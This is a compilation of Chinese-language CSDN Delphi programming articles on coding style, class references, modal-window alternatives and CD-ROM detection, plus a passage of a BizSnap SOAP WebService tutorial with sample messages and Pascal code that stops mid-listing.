function ---------------------(--, --, --: ----; var --, --, --: ----): ----;

T------- = class(-------)
private
F-------: -------;
F-------: -------;
F-------: -------;
function --------------: -------;
procedure --------------;
protected
function --------------: -------;
procedure --------------;
function --------------: -------; virtual; abstract;
public
constructor Create(-------: -------); override; {if need to do something after Create}
destructor Destroy; override; {if need to do something before Destroy}
function --------------: -------;
procedure --------------;
property -------: ------- read F-------;
published

end;

14、形式反映结构

例子：
TetIndex : array[0..3] of TInteger3v =
( (0, 1, 3),
(2, 1, 0),
(3, 2, 0),
(1, 2, 3) );
Cursors: array[0..4] of TIdentMapEntry = (
(Value: crDefault; Name: 'crDefault'),
(Value: crArrow; Name: 'crArrow'),
(Value: crCross; Name: 'crCross'),
(Value: crIBeam; Name: 'crIBeam') );

if (dwFlags and PFD_DRAW_TO_WINDOW) = 0)
or( (dwFlags and PFD_SUPPORT_OPENGL) = 0)
or( (dwFlags and PFD_DOUBLEBUFFER) = 0)
or (iPixelType <> PFD_TYPE_RGBA)
or (cColorBits < 16)
)
) then
raise Exception.Create('Inappropriate Pixel Format chosen.');

glBegin(shadeType);
glNormal3fv(@n0);
glVertex3fv(@dodec[a, 0]);
glVertex3fv(@dodec[b, 0]);
glVertex3fv(@dodec[c, 0]);
glVertex3fv(@dodec[d, 0]);
glVertex3fv(@dodec[e, 0]);
glEnd();

dodec[0, 0] := -alpha; dodec[0, 1] := 0; dodec[0, 2] := beta;
dodec[1, 0] := alpha; dodec[1, 1] := 0; dodec[1, 2] := beta;
dodec[2, 0] := -1; dodec[2, 1] := -1; dodec[2, 2] := -1;

procedure glutWireTorus(
innerRadius : GLdouble; //---------
outerRadius : GLdouble; //---------
nsides : GLint; //---------
rings : GLint ); //---------
case FRunDirection of
rdRightToLeft : begin
 StY:=CnY;
 StX:=Width - CurrentStep;
 end;
rdLeftToRight : begin
 StY:=CnY;
 StX:=-CurrentStep;
 end;
rdBottomToTop : begin
 StX:=CnX;
StY:=Height - CurrentStep;
end;
rdTopToBottom : begin
 StX:=CnX;
StY:=CurrentStep - RTHeight;
end;
 else begin
 StX:=CnX;
 StY:=CnY;
 end;
 end;

case (DitherMode) of
dmNearest:
Ditherer := TDitherEngine.Create(Bitmap.Width, ColorLookup);
dmFloydSteinberg:
Ditherer := TFloydSteinbergDitherer.Create(Bitmap.Width, ColorLookup);
dmStucki:
Ditherer := TStuckiDitherer.Create(Bitmap.Width, ColorLookup);
dmSierra:
Ditherer := TSierraDitherer.Create(Bitmap.Width, ColorLookup);
dmJaJuNI:
Ditherer := TJaJuNIDitherer.Create(Bitmap.Width, ColorLookup);
dmSteveArche:
Ditherer := TSteveArcheDitherer.Create(Bitmap.Width, ColorLookup);
dmBurkes:
Ditherer := TBurkesDitherer.Create(Bitmap.Width, ColorLookup);
else
exit;
end;

返回

4、命名规则

1、文件名称: u模块名称；见名知意
2、控件名称: 功能_控件缩写；见名知意
3、变量 : 尽量不用缩写，尽量用名词；见名知意
4、方法与过程：尽量不用缩写，尽量用动宾词组；见名知意
5、常见的惯例
类名以T打头 (Type之意)
类的私有数据域以F打头(Field之意)
对数据的存取操作分别以Set，Get打头
事件属性以On打头

(完)


CSDN_文档中心_代码示例:你是真的对Delphi很了解么？

代码示例:你是真的对Delphi很了解么？

Procedure StepEditor( strgrid: TStringGrid; Step: TStep );
var
sValue, sField: string;
EditorClass: TStepEditorClass;
Editor: TStepEditor;
begin
sField := strgrid.Cells[0, strgrid.Selection.Top];
sValue := strgrid.Cells[1, strgrid.Selection.Top];
EditorClass := EditorClassList.Editors[ sField ];
Editor := EditorClass.Create;
Editor.Field := sField;
Editor.Step := Step;
Editor.Edit( sValue );
Editor.Free;
strgrid.Cells[ 1, strgrid.Selection.Top ] := sValue;
end;

EditorClass 是一个Class of Class, 也就是类的类
比如
TFormClass = Class of TForm;
但是不同于：TFormClass = Class( TForm ); 这是两个概念！

而 EditorClassList 里面存放的就是 类的类的列表；

Editor := EditorClass.Create;

Create是类方法，而不是对象方法，所以可以由 EditorClass来创建EditorClass的一个实例

补充：

TStepEditor = Class( TObject )
...
End;

TStepEditorClass = Class of TStepEditor;

Object Inspector 为什么能够提供一个方便的编辑环境？
为什么不同的字段，供选择的值不一样，校验的方式不一样，弹出的编辑框
不一样？因为根据不同的字段类型，注册了不同的属性编辑器 Propety Editor;
简化Delphi提供的注册属性编辑器的函数，可以描述为以下：
RegisteryPropertyEditor( PropertyFieldType, EditorClass );
^此处为类型名,如 Bool , Integer, ...等等
^此处为对应的编辑器的类名，注意，不是类名的字符描述
实际运行的时候，用户点击Object Inspector 的一个字段的时候，
Delphi内部就搜索该字段类型对应的编辑器类；然后由找到的类的类，创建该类的一个实例；
进行相关的操作（决定是否有下拉框，是否有一个按钮等等）

更多文章


CSDN_文档中心_代替showmodal其他两种方法

procedure TForm1.Button1Click(Sender: TObject);
begin
enablewindow(handle,false);//窗口一不可用
form2.show;

end;
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
enablewindow(form1.handle,true);//可用
end;

或者
var
Form1: TForm1;
WindowList: Pointer;

implementation

uses Unit2;

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
WindowList:= DisableTaskWindows(self.handle);
form2.show;

end;

uses Unit1;

{$R *.DFM}

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
EnableTaskWindows(unit1.WindowList);
end;


CSDN_文档中心_得到当前的光驱的盘符。

procedure GetCDROM(var CD:char);
var
str:string;
Drivers:Integer;
driver:char;
i,temp:integer;
begin
Drivers:=GetLogicalDrives;
temp:=(1 and Drivers);
for i:=0 to 26 do
begin
if temp=1 then
begin
driver:=char(i+integer('a'));
str:=driver+':';
if GetDriveType(pchar(str))=DRIVE_CDROM then
begin
cd:=driver;
exit;
end;
end;
drivers:=(drivers shr 1);
temp:=(1 and Drivers);
end;
end;


CSDN_文档中心_電子商務新紀元-WebService With BizSnap(不比李维的那篇差！)

電子商務新紀元-WebService With BizSnap

WebService 是今年最熱門的技術。 所有資訊雜誌都免不了添上幾篇文章，
談談WebService 的遠景，或是她所使用的SOAP 標準，大部份的開發工具也都
投入了WebService 戰局，預期WebService 將會為快速泡沫化的電子商務注入
一股新的動力。 號稱最強的RAD開發工具DELPHI 也不例外，DELPHI 6 提供了BizSnap!
其中包含了3個Wizard，7個元件，讓程式師能夠以最直覺最快速的方式開發及除錯
WebService Server&Client 應用程式，撇開尚未上市的Visual Stdio .NET 不談，
DELPHI 6 可以說是開發WebService 最快速的工具。除了開發工具外，與WebService
相關的SOAP 及WSDL 規格也正以極快的速度成長，預計規格的變動是無法避免的。
雖然目前SOAP 1.1 已經定案，可是參與定制SOAP 的各大廠商實作上都還有差異。
DELPHI 6 所實作的SOAP 及WSDL 比較貼近Sun,IBM 陣營，所以用DELPHI的BizSnap 來呼叫
Java WebService 應該不會有太大的困難，但如果對象是.NET WebService Server 就有點困難度了。
.NET 實作的SOAP 規格預設使用document 方式，而BizSnap 目前只支援rpc，因此與.NET無法溝通，
DELPHI R&D 正在加入document 的支援，相信很快的我們就可以在不更動BizSnap 原始碼的情況下，
正常的呼叫.NET WebService。 跨平台，跨語言是WebService 的主要訴求，希望這些廠商能儘快
解決彼此之間的問題，讓WebService 真正成為我們生活的一部份。

WebService

就如同字面一般，WebService主要是提供服務。 讓其它人可以撰寫程式或經由網頁存取
你所撰寫的服務，或是將你的服務整合至他們的產品中來減少產品開發的時間，讓產品以
更快的速度出現在市場上。 這同時形成了供應鍊關係，你可以利用別人的服務來減少
產品開發時間及成本，而提供服務的廠商則可以藉由販賣服務來獲得利益，使用者也可以
更快速的享受到新產品。 這會使得整個資訊速度大幅提升，也創造出更多的商機。
WebService 也解決了各平台及程式語言間的差異性，使得語言及平台間能夠使用
一致的資料格式來溝通。 舉個例子來說: 像信用卡請款作業，目前各銀行的請款作業
格式都不相同，因此你必須針對個別銀行開發相容與該銀行相容的程式，
這個程式的流程大概是這樣:

上圖中你可以發現到，應用程式必須從資料庫取出資料，轉成銀行要求的請款文件格式
後送給銀行，銀行再將結果轉成特定格式的文件後傳回我們的應用程式，應用程式還得
解譯資料後才能存入資料庫。 這是目前所有信用卡銀行所使用的請款方式，這種方式既
麻煩又沒有公定的資料標準，程式的撰寫也很花時間。 使用者還必須手動操作文件的匯
出及匯入的動作,這既不聰明也容易出錯，假如銀行提供一個WebService 用來處理請款作業，
那麼情況就大大不同了。

上圖中應用程式只需要使用HTTP+SOAP 文件就可以Invoke(喚起)銀行所提供的WebService，
當WebService 處理了應用程式所傳過來的文件後，將結果以SOAP 文件傳回應用程式，
我們的應用程式就可以將資料存入資料庫。 這比起之前的方法聰明，使用者也不需要接觸到
容易出錯的匯入及匯出文件的動作，程式設計師也可以藉由一致的通訊標準來整合各語言
跟平台，這個技術的關鍵點就在於 SOAP。 簡單的說! SOAP 是一組訊息標準，用來傳遞訊息，
使不同語言撰寫的應用程式可以互相溝通。 下一章我會詳細討論SOAP，現在讓我們回到信用卡
請款範例，雖然我們有一致的文件標準，但是文件的內容還是會有差異性，例如甲銀行需要地址，
乙銀行不需要等問題。 那代表程式設計師又得回到老路了嗎? 或許不! 程式還是得寫，
只是這次你有WSDL Tools 幫助你產生骨架程式，比起原先的工作簡單多了。看下圖:

支援WebService 的開發工具應該都會附帶一個WSDL Tools，用來產生SOAP Proxy Code。
上圖中開發工具以送出HTTP Request 的方式向WebService 要求WSDL 文件，之後將
傳回結果交給WSDL Parser， WSDL Parser 根據WSDL文件產生出SOAP Proxy Code，
這個SOAP Proxy Code 在DELPHI 中就是Interface 的定義。 你可以使用THTTPRIO 元件
以as 指令取出這個Interface 後，就可以直接呼叫WebService 中的Method。 在Interface定義
中除了Method 的資訊外，還存在了傳入值與傳回值的型別定義，如果傳回值或傳入值是
複雜型態的話，可能還包含複雜型別的定義及處理的程式碼。 這樣就可以解決上述的格式問題了，
你只需經由各家銀行的WSDL 產生個別的Proxy Code 就能夠呼叫個別的WebService 來完成你的工作，
這樣你要做的事真的減少了許多不是嗎?

SOAP(Simple Object Access Protocol)

SOAP 是一個訊息標準。 目前WebService 使用她來當作資料交換的標準，
本文不嘗試完整解釋SOAP! 如果你想完整的了解SOAP 的話，請自行找書
或到W3C 上看看規格書，這裡我只簡單的列出幾樣你應該要知道的部份。
SOAP需要一個通訊協定來傳輸訊息，目前的SOAP 1.0,1.1 都偏向於使用HTTP
做為通訊協定。除了HTTP 之外SOAP 也可以使用SMTP,FTP 等其它通訊協定來傳
輸資料，但是目前除了HTTP 外，其它部份的實作都還沒有定論，由於SOAP 的
Request/Response 作業模式跟HTTP 協定很類似，所以目前的實作都以HTTP為主，
相信以後應該會有更多的協定來滿足不同情況的應用。

一個標準的SOAP Request 樣子大概如下(使用HTTP):

POST /Project2.MyService/soap/IMyService HTTP/1.1
Accept: application/octet-stream, text/xml
SOAPAction: "urn:MyServiceIntf-IMyService#GetComplexType"
…….
<?xml version="1.0" encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
  <NS1:GetComplexType xmlns:NS1="urn:MyServiceIntf-IMyService"    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
   <NS1:Param1 xsi:type="xsd:string">
   1234
   </NS1:Param1>
  </NS1:GetComplexType>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
我們先看POST /Project2.MyService/soap/IMyService這個部份，這裡指定了
要喚起的是那一個WebService Server 程式，以.NET 來說，這可能是一個ASP .NET 網頁，
以DELPHI 來說，就是一個CGI 或 ISAPI程式。 在下面的SOAPAction 段則是指定我們
想呼叫WebService中的那一個Method， WebService Server 會解讀這一段來喚起對應
的Method 程式碼， 不過SOAP 1.1 並未強制一定要有SOAPAction 值，這必須視實作者而定。
在喚起Method 之前，Server 還要解讀Body 區段中的資訊來取得Client 所傳遞的參數及
型別， 以目前的SOAP規格書來看，你只能夠在Body 區段中包含一個Method 的資訊，
這也代表了一次HTTP Request 只能夠喚起一個Method，雖然有人提出了可以在一次的HTTP
傳輸中喚起多個Method 的資料格式，但目前還沒有正式的規格。 在上例中，<NS1:GetComplexType>
就是我們要呼叫的Method資訊封包，這個區段中包含了呼叫GetComplexType Method的參數型別與值，
NS1:Param1 就是這個Method 所需要的參數，"xsi:type="xsd:string" 就是該參數的型別，
當我們將這個Request 送給WebService 後， WebService 就會根據這些資訊執行對應的Service
及 呼叫Method，完成後她會回覆像這樣的訊息給我們:

HTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 867
Content:
<?xml version="1.0" encoding='UTF-8'?>
   <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
   <SOAP-ENV:Body>
   <NS1:GetComplexTypeResponse xmlns:NS1="urn:MyServiceIntf-IMyService"    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"    xmlns:NS2="http://www.w3.org/2001/XMLSchema">
   <NS1:return href="#1"/>
   <NS2:return id="1" xsi:type="NS2:TXSMyComplexType">
   <NS2:ServerMessage xsi:type="xsd:string">
   Test My Self
   </NS2:ServerMessage>
   <NS2:InnerString href="#2"/>
   </NS2:return><NS2:InnerString id="2" xsi:type="NS2:TXSInnerType">
   <NS2:InnerString xsi:type="xsd:string">This is InnerType</NS2:InnerString>
   </NS2:InnerString>
   </NS1:GetComplexTypeResponse>
   </SOAP-ENV:Body>
   </SOAP-ENV:Envelope>

這個WebService 使用了兩個Complex Type， 所以看起來有點亂!
不過你還是可以發現與Request 差別不大，我們先看紅色字的部份
GetComplexTypeResponse 代表呼叫的Method傳回封包， Client 端程式
藉由解讀這部份的資訊來取得傳回值跟型別。例子中藍色及深藍色
部份就是呼叫Method 後的傳回值， 理論上SOAP 可以表現相當複雜的資料型態，
以上面這個例子來說，我使用了一個Complex Type:TXSMyComplexType並且在
裡面使用了一個TXSInnerType，因應情況的不同，你也可以傳遞TXSMyComplexType型態
的陣列或更複雜的資料型態來表示資料庫中的資料列。 SOAP Request/Response Message
通常是由開發工具幫你產生及解讀，所以我們接觸SOAP Message 的機會不多，但這不代表
我們不需要了解SOAP，當你的程式發生問題時，這些資訊將會給你相當大的幫助。
除了Request及Response Message 之外，SOAP 也提供Fault 訊息格式，這個訊息會在
Service Server 發生錯誤時傳回Client 端，DELPHI 的Service Server 會自動將Exception
包裝成這種格式後傳回Client 端，Client 端再根據其中的錯誤訊息產生一個例外。

HTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 473
Content:
<?xml version="1.0" encoding='UTF-8'?>
   <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:xsd="http://www.w3.org/1999/XMLSchema"
                       xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
   <SOAP-ENV:Body>
     <SOAP-ENV:Fault>
      <SOAP-ENV:faultcode>SOAP-ENV:Server</SOAP-ENV:faultcode>
     <SOAP-ENV:faultstring>Test Exception</SOAP-ENV:faultstring>
     </SOAP-ENV:Fault>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

這應該很易懂，所以我就不再解釋了。
除了這些之外，還有SOAP Header 區段，只是目前的BizSnap 並不能讓我們方便的定義此區段，
在這個區段中可以包含許多自定的資訊，希望以後能夠以BizSnap 來處理這段的資料。

Web Services Description Language (WSDL)

WSDL 是用來描述WebService 資訊的語言，應用程式經由解讀WSDL 來取得有關連結
WebService 的資訊，WSDL 大概分成幾部份:

<service name="IDPServiceservice">
  <port name="IDPServicePort" binding="IDPServicebinding">
   <soap:address location="http://localhost:1024/Project1.MyDPService/soap/IDPService" />
  </port>
</service>

藍色部份代表WebService 的名稱，應用程式要連結至WebService 時必須要指定一個Service
跟一個Port， 紅色部份就是Service Port 的描述。 一個Port 必須要有一個SOAP Address Location，
用來描述該Port 的URL 位址，這樣應用程式才能經由這個位址與Service 溝通，
之前提過SOAP 支援多種傳輸方式,而binding 屬性就是描述這些資訊的地方:

<binding name="IDPServicebinding" type="IDPService">
 <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" />
  <operation name="SayHello">
   <soap:operation soapAction="urn:DPServiceIntf-IDPService#SayHello" />
   <input>
     <soap:body use="encoded" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" namespace="urn:DPServiceIntf-IDPService" />
   </input>
   <output>
     <soap:body use="encoded" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" namespace="urn:DPServiceIntf-IDPService" />
   </output>
  </operation>
</binding>

藍色部份就是binding 的資訊，這個Port 使用HTTP 傳輸協定，並且指定使用rpc為傳輸樣式。
SOAP 目前定義兩種傳輸樣式: rpc 跟document。 DELPHI 目前只支援rpc 的傳輸樣式，
.NET 則兩個都支援，預設值是使用document 模式。 深藍色部份描述了Service 中的Method，
你可以在裡面發現SOAPAction的資訊跟SOAP Body 區段所使用的樣式(Style)。
SOAP 的Body 區段可以使用 encoded/literal 兩種樣式，
一般來說， rpc 通常搭配encoded，document 則搭配literal樣式。
在這裡描述的只有binding information，Method 所需要的參數及型別則在下面這段描述中:

<message name="SayHelloRequest" />
<message name="SayHelloResponse">
  <part name="return" type="xs:string" />
</message>

籃色部份就是message 的描述，這個描述代表SayHello Method 不需要有傳入值，
其紅色部份則描述了SayHello Method 會有一個傳回值，型別是string。
WSDL 中較重要的資訊大概就是這些了，其它有關於WSDL 的詳細資訊，就請你到www.xml.org 查看。
由於目前各家廠商所實作的標準都略有差異，因此自動產生的Proxy Code 常常需要你介入調整，
希望日後能統一。
(.NET 所產生的WSDL 比其它語言來的複雜,所以我不知道要以誰的為準來解釋.......)

DELPHI 的SOAP

使用DELPHI 6 來撰寫WebService 可以說既簡單又快速，只要照著On-line Help 操作
大多可以完成你自己的WebService。 有註冊的使用者還可以從Borland Site 傳回一個
Invokable Wizard，這個Wizard 號稱可以讓你60 秒寫出一個簡單的WebService，有註
冊的使用者可別錯過了。 我自己也寫了一個類似的Wizard，文後會提供一個URL
你只要下載後安裝就可以了。 DELPHI 中提供了三個Wizard 來產生WebService 骨架程式，
現在讓我們運用這幾個 Wizard來實際撰寫一個WebService Server!

撰寫WebService Server 程式

首先開啟New Items Dialog 後選擇WebService頁，你會看到這幾個Wizard
(其中有兩個是你安裝了我的Wizard 後才有的)，SOAP DataModule 是用來產生
與DataSnap 相容的DataModule，SOAP Application則是用來產生一個
WebService Project，WSDL Import則可以讓你經由WSDL 文件產生SOAP Proxy Code。

請選擇Soap Server Application，開一個新WebService Server專案。

接著選擇Server 型態，在這裡我使用的是Web App Debugger，這可以讓我們
利用IDE 來除錯我們的程式，確定後DELPHI 就會為你產生一個骨架程式，
接著我們必須定義我們要提供的 Service Interface跟Implementation 程式碼，
請再開啟New Items Dialog!

請選擇Service Generate Wizard 來產生一個Service 骨架程式。

在Interface Name 區填入DPService 後按確定後你會看到這個Wizard 已經為你產
生了Service 骨架程式，接著請將整個專案存檔，之後我們再為這個骨架程式提供程式碼:

(紅色部份是加進去的)

(定義部份)

unit DPServiceIntf;
// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry;
type
   IDPService = interface(IInvokable)
   ['{F5AF5412-0882-4C69-8878-4775C1D77555}']
   function SayHello:string; stdcall; //WebService 所提供的Method
   end;
implementation
initialization
 InvRegistry.RegisterInterface(TypeInfo(IDPService));
end.

(實作部份)

unit DPServiceImpl;
 // Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,DPServiceIntf;
type
   TDPService = class(TInvokableClass,IDPService)
   private
   { Private declarations }
   public
   function SayHello:string; stdcall;
   { Public declarations }
   end;
implementation

//Method 的實作
 function TDPService.SayHello:string;
 begin
   Result:='Hello!';
 end;
initialization
   InvRegistry.RegisterInvokableClass(TDPService);
end.

編譯完成後執行一次，讓她註冊自己，就這樣! 你已經開發了一個簡單的WebService
並提供一個SayHello Method讓Client 端呼叫，接著我們要寫運用她的Client 端程式，
在動手之前我們必須要將WebAppDebuger 啟動，你可以在Tools 選單中找到她。

撰寫Client 端程式

使用DELPHI 中寫Service Client 應用程式就像寫一般程式一樣簡單!
請開啟一個新專案後選擇New Items 的 WebService 頁，
再選擇Web Services Importer Wizard，這個工具可以產生SOAP Proxy Code
也就是Interface 定義。

在這裡填入WSDL 所在的URL:
      http://localhost:1024/Project1.MyDPService/wsdl/IDPService
當HTTPRIO 啟動時，HTTPRIO 會根據這設定來取得WSDL 文件，
因此當程式完成後，你可以將WSDL 文件存在本機電腦上減少一些網路流量。

執行成功後你會有一個跟下面程式一樣的骨架程式，在這個程式中定義了
WebService 所提供的Method，有了這些資訊我們就可以使用Code Insight
及Compiler 的型別檢查功能來減少錯誤，這也是以DELPHI 開發Service 的好處
之一。

Unit Unit3;
interface
uses Types, XSBuiltIns;
   type
 IDPService = interface(IInvokable)
   ['{06D0E720-0D1D-437F-B2BA-8DAB58AF7E30}']
   function SayHello: WideString; stdcall;
 end;
implementation
uses InvokeRegistry;
initialization
   InvRegistry.RegisterInterface(TypeInfo(IDPService), 'urn:DPServiceIntf-IDPService',    '');
end.

將專案存檔後，我們接著加入呼叫WebService 的程式碼，
請到元件盤的WebService 頁拖放一個THTTPRIO 元件到FORM 上
並在她的WSDLLocation 特性中填入WSDL 的URL(之前說的那一個)，
之後你就可以在Service 及 Port 特性開窗找到Service Name。
當你使用的是其它語言所撰寫的Service 時請記得在Port 特性值中選用
SOAP 結尾的那一個Port，在Java 及 .NET 中除了SOAP 之外，
還有HTTPGet與HTTPPost 兩種Port，DELPHI 目前只支援SOAP Port。

接著請再放入一個TButton 元件到Form 上，並撰寫她的OnClick Event，
整個Client端程式碼應該像下面這個程式:

unit Unit1;
interface
uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, Rio, SoapHTTPClient;
type
   TForm1 = class(TForm)
   HTTPRIO1: THTTPRIO;
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
  private
   { Private declarations }
  public
   { Public declarations }
  end;
var
   Form1: TForm1;
implementation
   uses Unit2;
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage((HTTPRIO1 as IDPService).SayHello);
 end;
end.

請注義粉紅字的部份，當我們要呼叫Service 時，我們必須將HTTPRIO 轉型為該Interface，
之後才能呼叫Method，這同時也是DELPHI 強大的地方， DELPHI 使用Runtim Creating VTable
的方式完成這個工作，比起SOAP Tookit 的Late Binding 方便多了，到現在為止! 我們簡簡單單
就寫了一個WebService 跟一個Client 端了，以DELPHI 6 來開發WebService真的很方便，
只是如果我需要傳送複雜的資料的話，例如一個TDataSet 那我應該怎麼作呢?
這有很多種方法可以達到，如果你真的要傳DataSet 的話，SOAP DataModule+DataSnap 也許比較方便，
但其它語言可能無法讀取，除了DataSnap 之外，你還可以選擇使用Complex Type，
而這種方式也可以輕易被其它語言所接受，這是我們下一節會談到的。

魔法的秘密

如你所見! DELPHI 開發WebService 應用程式真的很快速，且直覺。 但魔法是不會憑空出現的，
在神秘的魔法背後，必定藏著許多的故事。 在BizSnap 背後的技術就有如魔法故事一樣，
精妙且有趣， 當然! 知道這些並不能加快你的開發速度或程式品質，不過她卻賦與你另一種
神奇的力量，使你能夠在程式不能正常運作時，迅速找到解決的方法。
首先我們先看看當Service Server 接收到來自Client AP的要求時的處理方式:

當Client AP 第一次呼叫WebService 時，HTTPRIO 會經由WSDLLocalation 特性先取得WSDL 文件，
因此你在圖中可以看到 Client AP 送出一個HTTP Request 給Service Server，這個訊息會經由
TWebModule 轉送給TWSDLHTMLPublish 接著再由TWSDLHTMLPublish 產生WSDL 文件後傳送給Client AP，
這只有在你指定的WSDLLocation 是連結至Service Server 的URL 時才會發生，假使你預先將WSDL 存
放在本機或是第二次呼叫的話，這個動作就不會發生了。
取得WSDL 文件後，HTTPRIO 就會將Request 轉成SOAP Message傳送至Servcie Server，再由TWebModule
轉送給TSOAPDispatcher,接著經由TSOAPDispatcher解讀SOAP Header中的SOAPAction 資訊後轉送給TSOAPPascalInvoker，
這時TSOAPPascalInvoker 會建立一個THTTPSOAPToPasBind 物件並將SOAP Action傳入後取得Service Class Type，
再運用TOPToSoapDomConvert 來解出SOAP Message 中的參數後呼叫對應的Service。
當Service 執行完之後，TOPToSoapDomConvert 就會將Method 的傳回值打包成SOAP Response Message後傳回Client AP。
除了表面上看到的這些之外，InvokeRegistry也扮演著相當重要的角色,因為TSOAPPascalInvoker 必須得經由她來取得
Service Interface 與Service Object，之後才能使用TInterfaceInvoker來呼叫對應的Method。
可惜Borland 並沒有公開Invoker 的原始碼，但我們可以想像其中必定包含許多Compiler 層級的技術，BizSnap 目前
還有一些缺點， 那就是程式設計師無法介入這些步驟! 因為這些元件既沒有事件，也不能繼承，希望Borland以後
能解除這個限制. 除了Service Server 之外，Client AP端的魔法也很有趣，讓我們繼續探索BizSnap Client 的魔法:

還記得之前提到的要求WSDL 文件嗎? 在這張圖中我省略掉她了。 當你利用HTTPRIO 來呼叫Service Method時，
HTTPRIO 會到InvokeRegistry 取得相關的SoapAction 資訊，再將參數等資訊交由TOPToSoapDomConvert 轉換
為SOAP Request Mesage後經由THTTPReqResp 送至Service Server，回返後再由TOPToSoapDomConvert 轉換
SOAP Response Message 成為Pascal 型態後存入對應的物件，乍看之下 Client 的步驟似乎沒有Server 複雜，
其實不然! 因為還有HTTPRIO 可以轉型成任何型態這個魔法沒解開，Borland 也沒有公開RIO 的原始碼，不過我想其中
必定有許多的magic code，身為程式設計師，我很好奇! 不過我也能了解Borland 不公開的想法，罷了! 這對我們並
沒有太大的影響。
關於魔法的初級篇就到此打住,讓我們繼續往下看吧。

傳送複雜型態資料(Complex Type)

在SOAP 一節中我提到了SOAP 可以傳送複雜的資料，在這裡我們就使用DELPHI
來實作一個可以傳送Complex Type 的WebService。
首先請你開啟Service專案,並啟動New Items，
你可以看到WebService內有一個Complex Type Generate Wizard，請執行她。

接著填入Type Name 跟勾選Generate Dynamic Array，
這會產生Array Type 的定義。

之後她會產生Complex Type 的骨架程式碼
unit Unit3;
// Created with Thor-Mjollnir Complex-Type Module Creator
interface
uses InvokeRegistry,Types,XMLSchema;
type
   TXSPerson=class;
   TXSPersonArray = array of TXSPerson;
   TXSPerson = class(TRemotable)
   private
    //declare your data member,remember! data member need publish in published section
    FName:string;
    FAge:Integer;
   { Private declarations }
   published
    property Name:string read Fname write Fname;
    property Age:Integer read Fage write Fage;
   { Public declarations }
  end;
implementation
initialization
  RemClassRegistry.RegisterXSClass(TXSPerson, 'http://www.code6421.com/XMLSchema', 'TXSPerson','');
  RemTypeRegistry.RegisterXSInfo(TypeInfo(TXSPersonArray),'http://www.code6421.com/XMLSchema','TXSPersonArray');
finalization
  RemClassRegistry.UnRegisterXSClass(TXSPerson);
  RemTypeRegistry.UnRegisterXSInfo(TypeInfo(TXSPersonArray));
end.

將她存為uXSPerson.pas，之後我們還要回到Interface，在定義的Unit 中添加新的Method。

unit DPServiceIntf;
// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,uXSPerson;
type
   IDPService = interface(IInvokable)
   ['{F5AF5412-0882-4C69-8878-4775C1D77555}']
   function SayHello:string; stdcall;
   function GetPerson:TXSPerson;stdcall;
   end;
implementation
initialization
 InvRegistry.RegisterInterface(TypeInfo(IDPService));
end.

定義好Interface 後，我們還要為這個Method 提供實作碼。
unit DPServiceImpl;
// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,DPServiceIntf,uXSPerson;
type
   TDPService = class(TInvokableClass,IDPService)
   private
   { Private declarations }
   public
   function SayHello:string; stdcall;
   function GetPerson:TXSPerson;stdcall;
   { Public declarations }
   end;
implementation
function TDPService.SayHello:string;
begin
   Result:='Hello!';
end;
function TDPService.GetPerson:TXSPerson;stdcall;
begin
   Result:=TXSPerson.Create;
   Result.Name:='code6421';
   Result.Age:=18; //ha!
end;
initialization
   InvRegistry.RegisterInvokableClass(TDPService);
 end.

回到Client 端，請你手動在Service Interface 加入GetPerson function的定義，
這個動作並不困難，你只須要將ComplexType Unit Copy 到你的Client 目錄中並use 她就可以了，
接下來你應該就可以呼叫GetPerson 這個Method 了，基本上你的Complex-Type 中也可以包含
Complex-Type，所以組合後可以表現相當複雜的資料型態，除此之外你也可以產生Complex-Type Array
用以表示更複雜的資料，這些都是很簡單的運用，相信你很快就可以上手了。
以DELPHI 來撰寫Complex Type 可說是相當容易，只是在撰寫Complex Type 時要注意一點，
你必需將所有需要傳送的資料放在published 區，這樣DELPHI 才能由RTTI 取得並轉換成可傳送的格式。

傳送檔案或圖形

如果你要運用SOAP 來傳送檔案的話，你可能得多注意一下了! 因為一旦檔案被轉為XML Array Type 後
大小一定會增加。 再加上編入及取出的動作，速度一定很不理想。 以一個14000 Byte 的檔案來說，
就要花掉1,2 分鐘。這對應用程式來說很難接受，因此這裡我介紹兩種處理方法，一種是以TByteDynArray
直接傳遞，另一種則是以MIME 來傳遞，以TByteDnyArray 型別來處理檔案的傳送是相當簡單的技巧，
你只需要寫幾行程式就可以了，但簡單的事總有代價，而這個代價正是效能低落。
我們用之前的WebService 為基礎，為她添加檔案傳送的功能，下面是傳送檔案的Service Server 片段程式:

unit DPServiceIntf;
